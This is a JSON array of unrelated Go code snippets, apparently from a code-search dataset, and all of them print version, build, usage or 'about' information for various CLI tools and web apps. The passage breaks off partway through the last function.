[ "func genAbout(gitRev string) *usage.About {\n\tabout := &usage.About{\n\t\tApp: APP,\n\t\tVersion: VER,\n\t\tDesc: DESC,\n\t\tYear: 2006,\n\t\tOwner: \"FunBox\",\n\t\tLicense: \"MIT License\",\n\t\tUpdateChecker: usage.UpdateChecker{\"funbox/init-exporter\", update.GitHubChecker},\n\n\t\tAppNameColorTag: \"{*}\" + colorTagApp,\n\t\tVersionColorTag: colorTagVer,\n\t}\n\n\tif gitRev != \"\" {\n\t\tabout.Build = \"git:\" + gitRev\n\t}\n\n\treturn about\n}", "func genUsage() *usage.Info {\n\tinfo := usage.NewInfo(\"\", \"url\", \"path\")\n\n\tinfo.AppNameColorTag = \"{*}\" + colorTagApp\n\n\tinfo.AddOption(OPT_YES, `Answer \"yes\" to all questions`)\n\tinfo.AddOption(OPT_NO_COLOR, \"Disable colors in output\")\n\tinfo.AddOption(OPT_HELP, \"Show this help message\")\n\tinfo.AddOption(OPT_VER, \"Show version\")\n\n\tinfo.AddExample(\n\t\t\"https://rbinstall.kaos.st /path/to/clone\",\n\t\t\"Clone EK repository to /path/to/clone\",\n\t)\n\n\treturn info\n}", "func showAbout() {\n\tabout := &usage.About{\n\t\tApp: APP,\n\t\tVersion: VER,\n\t\tDesc: DESC,\n\t\tYear: 2009,\n\t\tOwner: \"ESSENTIAL KAOS\",\n\t\tLicense: \"Apache License, Version 2.0 <https://www.apache.org/licenses/LICENSE-2.0>\",\n\t\tUpdateChecker: usage.UpdateChecker{\"essentialkaos/shdoc\", update.GitHubChecker},\n\t}\n\n\tabout.Render()\n}", "func info() string {\n\tgoVersion := runtime.Version()\n\ttstamp := time.Now()\n\treturn fmt.Sprintf(\"Build: git={{VERSION}} go=%s date=%s\", goVersion, tstamp)\n}", "func (app *application) about(w http.ResponseWriter, r *http.Request) {\n\n\tapp.renderAbout(w, r, \"about.page.tmpl\", &templateDataAbout{})\n}", "func Info() string {\n\treturn fmt.Sprintf(\"%s %s git commit %s go version %s build date %s\", Application, Version, Revision, GoVersion, BuildRFC3339)\n}", "func generate(p *models.Project) string {\n\tvar builder strings.Builder\n\tbuilder.WriteString(fmt.Sprintf(\"# %s\\n\", p.Name))\n\tplugins := []Plugin{description}\n\tif len(p.Badges) > 0 {\n\t\tplugins = append(plugins, addBadges)\n\t\tfor _, plugin := range plugins {\n\t\t\tplugin(&builder, p)\n\t\t}\n\t}\n\tbuilder.WriteString(fmt.Sprintf(\"### Author\\n\"))\n\tbuilder.WriteString(fmt.Sprintf(\"%s\\n\", p.Author))\n\tbuilder.WriteString(fmt.Sprintf(\"### LICENCE\\n\"))\n\treturn builder.String()\n}", "func genUsage() *usage.Info {\n\tinfo := usage.NewInfo(\"\", \"app-name\")\n\n\tinfo.AppNameColorTag = \"{*}\" + colorTagApp\n\n\tinfo.AddOption(OPT_PROCFILE, \"Path to procfile\", \"file\")\n\tinfo.AddOption(OPT_DRY_START, \"Dry start {s-}(don't export anything, just parse and test procfile){!}\")\n\tinfo.AddOption(OPT_DISABLE_VALIDATION, \"Disable application validation\")\n\tinfo.AddOption(OPT_UNINSTALL, \"Remove scripts and helpers for a particular application\")\n\tinfo.AddOption(OPT_FORMAT, \"Format of generated configs\", \"upstart|systemd\")\n\tinfo.AddOption(OPT_NO_COLOR, \"Disable colors in output\")\n\tinfo.AddOption(OPT_HELP, \"Show this help message\")\n\tinfo.AddOption(OPT_VER, \"Show version\")\n\n\tinfo.AddExample(\"-p ./myprocfile -f systemd myapp\", \"Export given procfile to systemd as myapp\")\n\tinfo.AddExample(\"-u -f systemd myapp\", \"Uninstall myapp from systemd\")\n\n\tinfo.AddExample(\"-p ./myprocfile -f upstart myapp\", \"Export given procfile to upstart as myapp\")\n\tinfo.AddExample(\"-u -f upstart myapp\", \"Uninstall myapp from upstart\")\n\n\treturn info\n}", "func (f *Fs) About() (*fs.Usage, error) {\n\tdo := f.Fs.Features().About\n\tif do == nil {\n\t\treturn nil, errors.New(\"About not supported\")\n\t}\n\treturn do()\n}", "func genUsage(w io.Writer, cmdName string) error {\n\t// Capture output from running:\n\t// foo -help\n\tbuf := new(bytes.Buffer)\n\tcmd := exec.Command(cmdName, \"-help\")\n\tcmd.Stderr = buf\n\tcmd.Run()\n\n\t// Add DO NOT EDIT notice.\n\tout := new(bytes.Buffer)\n\tfmt.Fprintf(out, \"// Generated by `usagen %s`; DO NOT EDIT.\\n\\n\", cmdName)\n\n\t// Prefix each line with \"// \".\n\tlines := strings.Split(buf.String(), \"\\n\")\n\tfor i, line := range lines {\n\t\tprefix := \"// \"\n\t\tif len(line) == 0 {\n\t\t\tif i == len(lines)-1 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tprefix = \"//\"\n\t\t}\n\t\tfmt.Fprintf(out, \"%s%s\\n\", prefix, line)\n\t}\n\tout.WriteString(\"package main\\n\")\n\n\t// Write usage info to w.\n\tif _, err := w.Write(out.Bytes()); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\treturn nil\n}", "func initVersionInfo() {\n\tversion.Version = pmmVersion.Version\n\tversion.Revision = pmmVersion.FullCommit\n\tversion.Branch = pmmVersion.Branch\n\n\tif buildDate, err := strconv.ParseInt(pmmVersion.Timestamp, 10, 64); err != nil {\n\t\tversion.BuildDate = time.Unix(0, 0).Format(versionDataFormat)\n\t} else {\n\t\tversion.BuildDate = time.Unix(buildDate, 0).Format(versionDataFormat)\n\t}\n\n\tif pmmVersion.PMMVersion != \"\" {\n\t\tversion.Version += \"-pmm-\" + pmmVersion.PMMVersion\n\t\tkingpin.Version(pmmVersion.FullInfo())\n\t} else {\n\t\tkingpin.Version(version.Print(program))\n\t}\n\n\tkingpin.HelpFlag.Short('h')\n\tkingpin.CommandLine.Help = fmt.Sprintf(\"%s exports various MongoDB metrics in Prometheus format.\\n\", pmmVersion.ShortInfo())\n}", "func versionAuthor() string {\n\treturn fmt.Sprintf(\"By %s \", AUTHOR)\n}", "func info(app *cli.App) {\n\tapp.Name = \"en_Crypt\"\n\tapp.Authors = []*cli.Author{{\n\t\tName: \"Patricia Hudakova\",\n\t\tEmail: \"[email protected]\",\n\t}}\n\tapp.Description = \"en-Crypt is a simple password management store\"\n\tapp.Version = \"1.0\"\n}", "func version(w io.Writer, set *flag.FlagSet) error {\n\tfmt.Fprintf(w, \"GlobalSign EST Client %s\\n\", versionString)\n\treturn nil\n}", "func Info() string {\n\treturn fmt.Sprintf(\"(version=%s, branch=%s, revision=%s)\", version, branch, revision)\n}", "func About(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tdata := newAboutData()\n\terr := t.ExecuteTemplate(w, \"about\", data)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func genUsage() *usage.Info {\n\tinfo := usage.NewInfo(\"\", \"script\")\n\n\tinfo.AddOption(OPT_OUTPUT, \"Path to output file\", \"file\")\n\tinfo.AddOption(OPT_TEMPLATE, \"Name of template\", \"name\")\n\tinfo.AddOption(OPT_NAME, \"Overwrite default name\", \"name\")\n\tinfo.AddOption(OPT_NO_COLOR, \"Disable colors in output\")\n\tinfo.AddOption(OPT_HELP, \"Show this help message\")\n\tinfo.AddOption(OPT_VER, \"Show version\")\n\n\tinfo.AddExample(\n\t\t\"script.sh\",\n\t\t\"Parse shell script and show documentation in console\",\n\t)\n\n\tinfo.AddExample(\n\t\t\"script.sh -t markdown -o my_script.md\",\n\t\t\"Parse shell script and render documentation to markdown file\",\n\t)\n\n\tinfo.AddExample(\n\t\t\"script.sh -t /path/to/template.tpl -o my_script.ext\",\n\t\t\"Parse shell script and render documentation with given template\",\n\t)\n\n\tinfo.AddExample(\n\t\t\"script.sh myFunction\",\n\t\t\"Parse shell script and show documentation for some constant, variable or method\",\n\t)\n\n\treturn info\n}", "func showVersion() {\n\tfmt.Print(versionString())\n\tfmt.Print(releaseString())\n\tif devBuild && gitShortStat != \"\" {\n\t\tfmt.Printf(\"%s\\n%s\\n\", gitShortStat, gitFilesModified)\n\t}\n}", "func (o *Options) BuildInfoString() string {\n\treturn fmt.Sprintf(\"(%v v%v, Release: %s)\", o.BinaryName, o.Version, o.Release)\n}", "func printVersion() {\n\tfmt.Printf(\"Amore version: %v\", amoreVersion)\n}", "func About(w http.ResponseWriter, r *http.Request) {\n\tsum := addValues(3, 5)\n\t_, _ = fmt.Fprintf(w, fmt.Sprintf(\"This is the about page and check sum is %d\", sum))\n}", "func PrintVersion() {\n\tfmt.Println(assets.BuildInfo)\n}", "func (a *ArticleController) About() {\n\tcommon(50, a)\n\ta.TplName = \"articlecontroller/get.tpl\"\n}", "func (v *VersionInfo) String() string {\n\tbuf := &bytes.Buffer{}\n\tfmt.Fprintf(buf, \"SemVer: %s\\n\", v.SemVer)\n\tfmt.Fprintf(buf, \"OsArch: %s\\n\", v.Arch)\n\tfmt.Fprintf(buf, \"Branch: %s\\n\", v.Branch)\n\tfmt.Fprintf(buf, \"Commit: %s\\n\", v.ShaLong)\n\tfmt.Fprintf(buf, \"Formed: %s\\n\", v.BuildTimestamp.Format(time.RFC1123))\n\treturn buf.String()\n}", "func (a *App) printAppInfo() {\n\tversionString := a.Info().Version\n\tif _, err := goversion.NewSemver(a.Info().Version); err == nil {\n\t\t// version is a valid SemVer => release version\n\t\tversionString = \"v\" + versionString\n\t} else {\n\t\t// version is not a valid SemVer => maybe self-compiled\n\t\tversionString = \"commit: \" + versionString\n\t}\n\n\tfmt.Printf(\">>>>> Starting %s %s <<<<<\\n\\n\", a.Info().Name, versionString)\n}", "func PrintInfo(version, commit, date string) {\n\tfmt.Println(\"🔥 Heamon version:\", version)\n\tfmt.Println(\"🛠️ Commit:\", commit)\n\tfmt.Println(\"📅 Release Date:\", date)\n}", "func ShowVersion() string {\n\tversion := fmt.Sprintf(\"zeplic %s\\nBuilt on %s\\n\\n\", Version, BuildTime)\n\treturn version\n}", "func version() {\n fmt.Printf(\"v%s\\ncommit=%s\\n\", versionNumber, commitId)\n}", "func buildInfo(c *cli.Context) error {\n\trepo := c.Args().First()\n\towner, name, err := parseRepo(repo)\n\tif err != nil {\n\t\treturn err\n\t}\n\tnumber, err := strconv.Atoi(c.Args().Get(1))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tclient, err := newClient(c)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbuild, err := client.Build(owner, name, number)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttmpl, err := template.New(\"_\").Parse(c.String(\"format\"))\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn tmpl.Execute(os.Stdout, build)\n}", "func buildVersion(short bool) string {\n\tvar b bytes.Buffer\n\tb.WriteString(\"MicroService-UserPowerManager v\" + MajorVersion + \".\" + MinorVersion)\n\t// versionStr := fmt.Sprintf(\"MicroService-UserPowerManager v%s.%s\",\n\t// \tMajorVersion, MinorVersion)\n\tif !IsRelease {\n\t\tb.WriteString(\" pre-release.\\n\")\n\t\tif !short {\n\t\t\tb.WriteString(PrereleaseBlurb + \"\\n\")\n\t\t}\n\t} else {\n\t\tb.WriteString(\" release.\\n\")\n\t}\n\tif short {\n\t\treturn b.String()\n\t}\n\tb.WriteString(Copyright + \"\\n\")\n\tb.WriteString(fmt.Sprintf(`Git Commit: %v\nGit Revision: %v\nGolang Build Version: %v\nBuild User: %v@%v\nBuild Status: %v\nBuild Time: %v\n`,\n\t\tbuildGitCommit,\n\t\tbuildGitRevision,\n\t\tbuildGolangVersion,\n\t\tbuildUser,\n\t\tbuildHost,\n\t\tbuildStatus,\n\t\tbuildTime))\n\tb.WriteString(GitHub + \"\\n\")\n\tb.WriteString(Issues + \"\\n\")\n\treturn b.String()\n}", "func version(w http.ResponseWriter, r *http.Request) {\n\t_, _ = fmt.Fprintf(w, ver)\n}", "func (hc Home) About(w http.ResponseWriter, r *http.Request) {\n\tdata := viewModels.NewAbout()\n\thc.TemplateManager.Render(\"about\", w, data)\n}", "func (m *Repository) About(w http.ResponseWriter, r *http.Request) {\n\n\trender.Template(w, r, \"about.page.tmpl\", &models.TemplateData{})\n}", "func (c *Info) String() string {\n\tvar versionString bytes.Buffer\n\n\tfmt.Fprintf(&versionString, \"Version: %s\\n\", c.Version)\n\n\tif c.BuildID != \"\" {\n\t\tfmt.Fprintf(&versionString, \"Build ID: %s\\n\", c.BuildID)\n\t}\n\tif c.BuildTime != \"\" {\n\t\tfmt.Fprintf(&versionString, \"Build Time: %s\\n\", c.BuildTime)\n\t}\n\tif c.Change != \"\" {\n\t\tfmt.Fprintf(&versionString, \"Change: %s\\n\", c.Change)\n\t}\n\tif c.CommitMsg != \"\" {\n\t\tfmt.Fprintf(&versionString, \"Commit Message: %s\\n\", c.CommitMsg)\n\t}\n\tif c.NewBuildURL != \"\" {\n\t\tfmt.Fprintf(&versionString, \"New Build URL: %s\\n\", c.NewBuildURL)\n\t}\n\tif c.OldBuildURL != \"\" {\n\t\tfmt.Fprintf(&versionString, \"Old Build URL: %s\\n\", c.OldBuildURL)\n\t}\n\tif c.Revision != \"\" {\n\t\tfmt.Fprintf(&versionString, \"Revision: %s\\n\", c.Revision)\n\t}\n\tif c.Tag != \"\" {\n\t\tfmt.Fprintf(&versionString, \"Tag: %s\", c.Tag)\n\t}\n\n\treturn versionString.String()\n}", "func versionExample() string {\n\treturn \"\"\n}", "func usageGenerate(cmd string) string {\n\treturn \"Generates the Kubernetes manifests which allow a Bridge to be deployed \" +\n\t\t\"to TriggerMesh, and writes them to standard output.\\n\" +\n\t\t\"\\n\" +\n\t\t\"USAGE:\\n\" +\n\t\t\" \" + cmd + \" FILE [OPTION]...\\n\" +\n\t\t\"\\n\" +\n\t\t\"OPTIONS:\\n\" +\n\t\t\" --bridge Output a Bridge object instead of a List-manifest.\\n\" +\n\t\t\" --yaml Output generated manifests in YAML format.\\n\"\n}", "func (m *Repository) About(w http.ResponseWriter, r *http.Request) {\n\t// send data to the template\n\trender2.RenderTemplate(w, \"about.page.tmpl\", &models2.TemplateData{}, r)\n}", "func GetInfo() string {\n\treturn fmt.Sprintf(\"version: %s, commit: %s\", Version, GitCommit)\n}", "func About(w http.ResponseWriter, r *http.Request) *s.HandlerError {\n\t// TODO: replace this with a document store instead of hardcoded data.\n\tb, err := json.Marshal(map[string]interface{}{\n\t\t\"Name\": \"Zak\",\n\t\t\"Job\": \"Developer\",\n\t})\n\tif err != nil {\n\t\treturn s.NewError(err)\n\t}\n\tw.Write(b)\n\treturn nil\n}", "func printVersionAndLicense(file io.Writer) {\n\tfmt.Fprintf(file, \"vidx2pidx version %v\\n\", Version)\n\tfmt.Fprintf(file, \"%v\\n\", License)\n}", "func (app *App) showVersionInfo() bool {\n\tDebugf(\"print application version info\")\n\n\tcolor.Printf(\n\t\t\"%s\\n\\nVersion: <cyan>%s</>\\n\",\n\t\tstrutil.UpperFirst(app.Desc),\n\t\tapp.Version,\n\t)\n\n\tif app.Logo.Text != \"\" {\n\t\tcolor.Printf(\"%s\\n\", color.WrapTag(app.Logo.Text, app.Logo.Style))\n\t}\n\treturn false\n}", "func (VS *Server) about(c *gin.Context) {\n\trender(c, gin.H{}, \"presentation-about.html\")\n}", "func PrintVersionInfo(log logr.Logger) {\n\tlog.Info(\"Kyverno\", \"Version\", BuildVersion)\n\tlog.Info(\"Kyverno\", \"BuildHash\", BuildHash)\n\tlog.Info(\"Kyverno\", \"BuildTime\", BuildTime)\n}", "func (rp *Repository) About(w http.ResponseWriter, r *http.Request) {\n\tstringMap := make(map[string]string)\n\tstringMap[\"test\"] = \"Hello, again\"\n\n\trender.Template(w, \"about.page.tmpl\", &models.TemplateData{\n\t\tStringMap: stringMap,\n\t})\n}", "func (p *Plugin) Help() {\n\tfmt.Println(\"\tgump: Initialize an empty .version.sh file.\")\n\tfmt.Println(\"\tgump:user/repo: Initialize a .version.sh file downloaded from github.com/user/repo/.version.sh.\")\n}", "func showHeader() {\n\theader := fmt.Sprintf(\"pivot version %s\", version)\n\t// If we have a commit hash then add it to the program header\n\tif commitHash != \"\" {\n\t\theader = fmt.Sprintf(\"%s (%s)\", header, commitHash)\n\t}\n\tfmt.Println(header)\n}", "func (m *Repository) About(w http.ResponseWriter, r *http.Request) {\n\tstringMap := make(map[string]string)\n\tstringMap[\"Test\"] = \"Hello, Again!\"\n\n\tremoteIP := m.App.Session.GetString(r.Context(), \"remote_ip\")\n\tstringMap[\"remote_ip\"] = remoteIP\n\n\t// send data to template\n\trender.RenderTemplate(w, \"about.page.tmpl\", &models.TemplateData{\n\t\tStringMap: stringMap,\n\t})\n}", "func showApplicationInfo(app, ver, gitRev string) {\n\tfmtutil.Separator(false, \"APPLICATION INFO\")\n\n\tprintInfo(7, \"Name\", app)\n\tprintInfo(7, \"Version\", ver)\n\n\tprintInfo(7, \"Go\", fmtc.Sprintf(\n\t\t\"%s {s}(%s/%s){!}\",\n\t\tstrings.TrimLeft(runtime.Version(), \"go\"),\n\t\truntime.GOOS, runtime.GOARCH,\n\t))\n\n\tif gitRev != \"\" {\n\t\tif !fmtc.DisableColors && fmtc.IsTrueColorSupported() {\n\t\t\tprintInfo(7, \"Git SHA\", gitRev+getHashColorBullet(gitRev))\n\t\t} else {\n\t\t\tprintInfo(7, \"Git SHA\", gitRev)\n\t\t}\n\t}\n\n\tbin, _ := os.Executable()\n\tbinSHA := hash.FileHash(bin)\n\n\tif binSHA != \"\" {\n\t\tbinSHA = strutil.Head(binSHA, 7)\n\t\tif !fmtc.DisableColors && fmtc.IsTrueColorSupported() {\n\t\t\tprintInfo(7, \"Bin SHA\", binSHA+getHashColorBullet(binSHA))\n\t\t} else {\n\t\t\tprintInfo(7, \"Bin SHA\", binSHA)\n\t\t}\n\t}\n}", "func printVersionInfo(f *os.File) {\n\tconst versionTempl = `\n{{.AppName}} {{.AppVersion}}\n\nCompiler:\n{{.Sp3}}{{.GoVersion}} ({{.Os}}/{{.Arch}})\n\nBuilt on:\n{{.Sp3}}{{.BuildTime}}\n\nAuthor:\n{{.Sp3}}Fabio Hernandez\n{{.Sp3}}IN2P3/CNRS computing center, Lyon (France)\n\nSource code and documentation:\n{{.Sp3}}https://github.com/airnandez/{{.AppName}}\n`\n\tfields := map[string]string{\n\t\t\"AppName\": programName,\n\t\t\"AppVersion\": version,\n\t\t\"BuildTime\": buildTime,\n\t\t\"Os\": runtime.GOOS,\n\t\t\"Arch\": runtime.GOARCH,\n\t\t\"GoVersion\": runtime.Version(),\n\t\t\"Sp3\": \" \",\n\t}\n\tminWidth, tabWidth, padding := 8, 4, 0\n\ttabwriter := tabwriter.NewWriter(f, minWidth, tabWidth, padding, byte(' '), 0)\n\ttempl := template.Must(template.New(\"\").Parse(versionTempl))\n\ttempl.Execute(tabwriter, fields)\n\ttabwriter.Flush()\n}", "func (a *APIGen) Info(ctx context.Context) (Info, error) {\n\tpanic(\"Should Not Be Called from Gen Pattern.\")\n}", "func (handler *ObjectWebHandler) About(w http.ResponseWriter, r *http.Request) {\n\tparams := context.Get(r, CtxParamsKey).(httprouter.Params)\n\tif !bson.IsObjectIdHex(params.ByName(\"id\")) {\n\t\trespondWithError(w, http.StatusBadRequest, \"Invalid object ID\", nil)\n\t\treturn\n\t}\n\n\tobjID := bson.ObjectIdHex(params.ByName(\"id\"))\n\tfs := handler.Session.DB(os.Getenv(EnvGridFSDatabase)).GridFS(os.Getenv(EnvGridFSPrefix))\n\n\tvar meta ObjectMeta\n\terr := fs.Find(bson.M{\"_id\": objID}).One(&meta)\n\tif err == mgo.ErrNotFound {\n\t\trespondWithError(w, http.StatusNotFound, \"Object does not exist\", err)\n\t\treturn\n\t} else if err != nil {\n\t\trespondWithError(w, http.StatusInternalServerError, \"Operational error\", err)\n\t\treturn\n\t}\n\n\tjson.NewEncoder(w).Encode(meta)\n}", "func (info Info) String() string {\n\treturn info.GitVersion\n}", "func (info Info) String() string {\n\treturn info.GitVersion\n}", "func About(w http.ResponseWriter, r *http.Request) {\n\trender.RenderTemplate(w, \"about.page.tmpl\")\n}", "func buildVersionDetails(ctx context.Context, currentModulePath, packagePath string,\n\tmodInfos []*internal.ModuleInfo,\n\tsh *internal.SymbolHistory,\n\tlinkify func(v *internal.ModuleInfo) string,\n\tvc *vuln.Client,\n) (*VersionsDetails, error) {\n\t// lists organizes versions by VersionListKey.\n\tlists := make(map[VersionListKey]*VersionList)\n\t// seenLists tracks the order in which we encounter entries of each version\n\t// list. We want to preserve this order.\n\tvar seenLists []VersionListKey\n\tfor _, mi := range modInfos {\n\t\t// Try to resolve the most appropriate major version for this version. If\n\t\t// we detect a +incompatible version (when the path version does not match\n\t\t// the sematic version), we prefer the path version.\n\t\tmajor := semver.Major(mi.Version)\n\t\tif mi.ModulePath == stdlib.ModulePath {\n\t\t\tvar err error\n\t\t\tmajor, err = stdlib.MajorVersionForVersion(mi.Version)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\t// We prefer the path major version except for v1 import paths where the\n\t\t// semver major version is v0. In this case, we prefer the more specific\n\t\t// semver version.\n\t\tpathMajor := internal.MajorVersionForModule(mi.ModulePath)\n\t\tif pathMajor != \"\" {\n\t\t\tmajor = pathMajor\n\t\t} else if version.IsIncompatible(mi.Version) {\n\t\t\tmajor = semver.Major(mi.Version)\n\t\t} else if major != \"v0\" && !strings.HasPrefix(major, \"go\") {\n\t\t\tmajor = \"v1\"\n\t\t}\n\t\tkey := VersionListKey{\n\t\t\tModulePath: mi.ModulePath,\n\t\t\tMajor: major,\n\t\t\tIncompatible: version.IsIncompatible(mi.Version),\n\t\t}\n\t\tcommitTime := \"date unknown\"\n\t\tif !mi.CommitTime.IsZero() {\n\t\t\tcommitTime = absoluteTime(mi.CommitTime)\n\t\t}\n\t\tvs := &VersionSummary{\n\t\t\tLink: linkify(mi),\n\t\t\tCommitTime: commitTime,\n\t\t\tVersion: LinkVersion(mi.ModulePath, mi.Version, mi.Version),\n\t\t\tIsMinor: isMinor(mi.Version),\n\t\t\tRetracted: mi.Retracted,\n\t\t\tRetractionRationale: shortRationale(mi.RetractionRationale),\n\t\t}\n\t\tif sv := sh.SymbolsAtVersion(mi.Version); sv != nil {\n\t\t\tvs.Symbols = symbolsForVersion(linkify(mi), sv)\n\t\t}\n\t\t// Show only package level vulnerability warnings on stdlib version pages.\n\t\tpkg := \"\"\n\t\tif mi.ModulePath == stdlib.ModulePath {\n\t\t\tpkg = packagePath\n\t\t}\n\t\tvs.Vulns = vuln.VulnsForPackage(ctx, mi.ModulePath, mi.Version, pkg, vc)\n\t\tvl := lists[key]\n\t\tif vl == nil {\n\t\t\tseenLists = append(seenLists, key)\n\t\t\tvl = &VersionList{\n\t\t\t\tVersionListKey: key,\n\t\t\t\tDeprecated: mi.Deprecated,\n\t\t\t\tDeprecationComment: shortRationale(mi.DeprecationComment),\n\t\t\t}\n\t\t\tlists[key] = vl\n\t\t}\n\t\tvl.Versions = append(vl.Versions, vs)\n\t}\n\n\tvar details VersionsDetails\n\tother := map[string]bool{}\n\tfor _, key := range seenLists {\n\t\tvl := lists[key]\n\t\tif key.ModulePath == currentModulePath {\n\t\t\tif key.Incompatible {\n\t\t\t\tdetails.IncompatibleModules = append(details.IncompatibleModules, vl)\n\t\t\t} else {\n\t\t\t\tdetails.ThisModule = append(details.ThisModule, vl)\n\t\t\t}\n\t\t} else {\n\t\t\tother[key.ModulePath] = true\n\t\t}\n\t}\n\tfor m := range other {\n\t\tdetails.OtherModules = append(details.OtherModules, m)\n\t}\n\t// Sort for testing.\n\tsort.Strings(details.OtherModules)\n\n\t// Pkgsite will not display psuedoversions for the standard library. If the\n\t// version details contain master then this package exists only at master.\n\t// Show only the first entry. The additional entries will all be duplicate\n\t// links to package@master.\n\tif len(details.ThisModule) > 0 &&\n\t\tlen(details.ThisModule[0].Versions) > 0 &&\n\t\tcurrentModulePath == stdlib.ModulePath &&\n\t\tdetails.ThisModule[0].Versions[0].Version == \"master\" {\n\t\tdetails.ThisModule[0].Versions = details.ThisModule[0].Versions[:1]\n\t}\n\treturn &details, nil\n}", "func ShowVersion(c *Context) {\n\tVersionPrinter(c)\n}", "func menuVersion() {\n\tfmt.Println(appName + \" - v\" + semverInfo())\n}", "func WriteMetaInfo(fs *formatters.FormatterConfig) {\n sugared.WriteName(fs, \" - \")\n sugared.WriteLevel(fs)\n fs.PoolState.Buffer.WriteString(\": \")\n sugared.WriteLevelTabulation(fs)\n}", "func versionString() string {\n\treturn fmt.Sprintf(\"%s-%s\\n\", caddy.AppName, caddy.AppVersion)\n}", "func (m *Repository) About(w http.ResponseWriter, r *http.Request) {\n\n\t// Create a new StringMap (see TemplateData.go)\n\tstringMap := make(map[string]string)\n\n\t// Assign the value of test \"hello, again\"\n\tstringMap[\"Test\"] = \"hello, again.\"\n\n\t//Pull IP out of the session\n\tremoteIP := m.App.Session.GetString(r.Context(), \"remote_ip\")\n\n\tstringMap[\"remote_ip\"] = remoteIP // from TemplateData\n\n\t// send the data to the template\n\t// TemplateData need a value\n\trender.RenderTemplate(w, \"about.page.tmpl.html\", &models.TemplateData{\n\t\tStringMap: stringMap,\n\t})\n}", "func versionFull() string {\n\treturn fmt.Sprintf(\"%s %s - By %s\", APP, version, AUTHOR)\n}", "func (c HourlyCommand) About() alfred.CommandDef {\n\treturn alfred.CommandDef{\n\t\tKeyword: \"hourly\",\n\t\tDescription: \"Get a forecast for the next few hours\",\n\t\tIsEnabled: true,\n\t}\n}", "func about(w http.ResponseWriter, r *http.Request) {\n\taudit(START)\n\tzuluDate:= time.Now().Format(time.RFC3339)\n\tparsedDate:= time.Now().Format(\"02-01-2006\")\n\t// Save the message inside m\n\tm:= Message{\"Welcome to the Hocklo API\",\"0.1,\", zuluDate, parsedDate, AUTHOR}\n\t// Marshal \"m\" inside \"b\" if some problem occurs the value are writed inside \"err\".\n\tb, err := json.Marshal(m)\n\t// Check the value of \"err\" if it isn't \"nil\" output a panic error.\n\terrorManagement(err, \"func::about::Json marshall of message failed!\")\n\t// Write the value of \"b\" at ResponseWriter\n\t//w.Write(b)\n fmt.Fprintf(w, \"%s\", b)\n audit(END)\n}", "func (v *VersionInfo) String() string {\n\treturn fmt.Sprintf(\"%v %v %v\", v.Version, v.BuildDate, v.CommitHash)\n}", "func CreateInfoCommand(name, prefix string, info ...func(*context.T, *cmdline.Env, []string) error) *cmdline.Command {\n\treturn &cmdline.Command{\n\t\tRunner: v23cmd.RunnerFunc(func(ctx *context.T, env *cmdline.Env, args []string) error {\n\t\t\tprintVersion(prefix)\n\t\t\tfor _, ifn := range info {\n\t\t\t\tif err := ifn(ctx, env, args); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t}),\n\t\tName: name,\n\t\tShort: \"Display version information\",\n\t}\n}", "func (p *Parser) GenerateHelp() string {\n\tvar result bytes.Buffer\n\tif p.cfg.Usage != \"\" {\n\t\tresult.WriteString(fmt.Sprintf(\"Usage: %s\\n\", p.cfg.Usage))\n\t} else {\n\t\tresult.WriteString(fmt.Sprintf(\"Usage: %s %s %s\\n\", p.cfg.Name,\n\t\t\tp.generateUsage(isOption),\n\t\t\tp.generateUsage(isArgument)))\n\t}\n\n\tif p.cfg.Desc != \"\" {\n\t\tresult.WriteString(\"\\n\")\n\t\tresult.WriteString(WordWrap(p.cfg.Desc, 0, p.cfg.WordWrap))\n\t\tresult.WriteString(\"\\n\")\n\t}\n\n\tcommands := p.generateHelpSection(isCommand)\n\tif commands != \"\" {\n\t\tresult.WriteString(\"\\nCommands:\\n\")\n\t\tresult.WriteString(commands)\n\t}\n\n\targument := p.generateHelpSection(isArgument)\n\tif argument != \"\" {\n\t\tresult.WriteString(\"\\nArguments:\\n\")\n\t\tresult.WriteString(argument)\n\t}\n\n\toptions := p.generateHelpSection(isOption)\n\tif options != \"\" {\n\t\tresult.WriteString(\"\\nOptions:\\n\")\n\t\tresult.WriteString(options)\n\t}\n\n\tenvVars := p.generateHelpSection(isEnvVar)\n\tif options != \"\" {\n\t\tresult.WriteString(\"\\nEnvironment Variables:\\n\")\n\t\tresult.WriteString(envVars)\n\t}\n\n\tif p.cfg.Epilog != \"\" {\n\t\tresult.WriteString(\"\\n\" + WordWrap(p.cfg.Epilog, 0, p.cfg.WordWrap))\n\t}\n\treturn result.String()\n}", "func (entity_EntityInfo) GeneratorVersion() int {\n\treturn 2\n}", "func TestAbout(t *testing.T) {\n\tgot := About()\n\twant := \"Backend Challenge.\"\n\n\tif got != want {\n\t\tt.Errorf(\"got %q want %q\", got, want)\n\t}\n}", "func (*VersionInfo) Descriptor() ([]byte, []int) {\n\treturn file_common_proto_rawDescGZIP(), []int{18}\n}", "func Info() VersionInfo {\n\treturn VersionInfo{\n\t\tVersion: version,\n\t\tGoVersion: goVersion,\n\t\tCommit: commit,\n\t\tBuildDate: buildDate,\n\t}\n}", "func showUsage() {\n\tgenUsage().Render()\n}", "func generateReadmeAndChanges(path, importPath, apiName string) error {\n\treadmePath := filepath.Join(path, \"README.md\")\n\tlog.Printf(\"Creating %q\", readmePath)\n\treadmeFile, err := os.Create(readmePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer readmeFile.Close()\n\tt := template.Must(template.New(\"readme\").Parse(readmeTmpl))\n\treadmeData := struct {\n\t\tName string\n\t\tImportPath string\n\t}{\n\t\tName: apiName,\n\t\tImportPath: importPath,\n\t}\n\tif err := t.Execute(readmeFile, readmeData); err != nil {\n\t\treturn err\n\t}\n\n\tchangesPath := filepath.Join(path, \"CHANGES.md\")\n\tlog.Printf(\"Creating %q\", changesPath)\n\tchangesFile, err := os.Create(changesPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer changesFile.Close()\n\t_, err = changesFile.WriteString(\"# Changes\\n\")\n\treturn 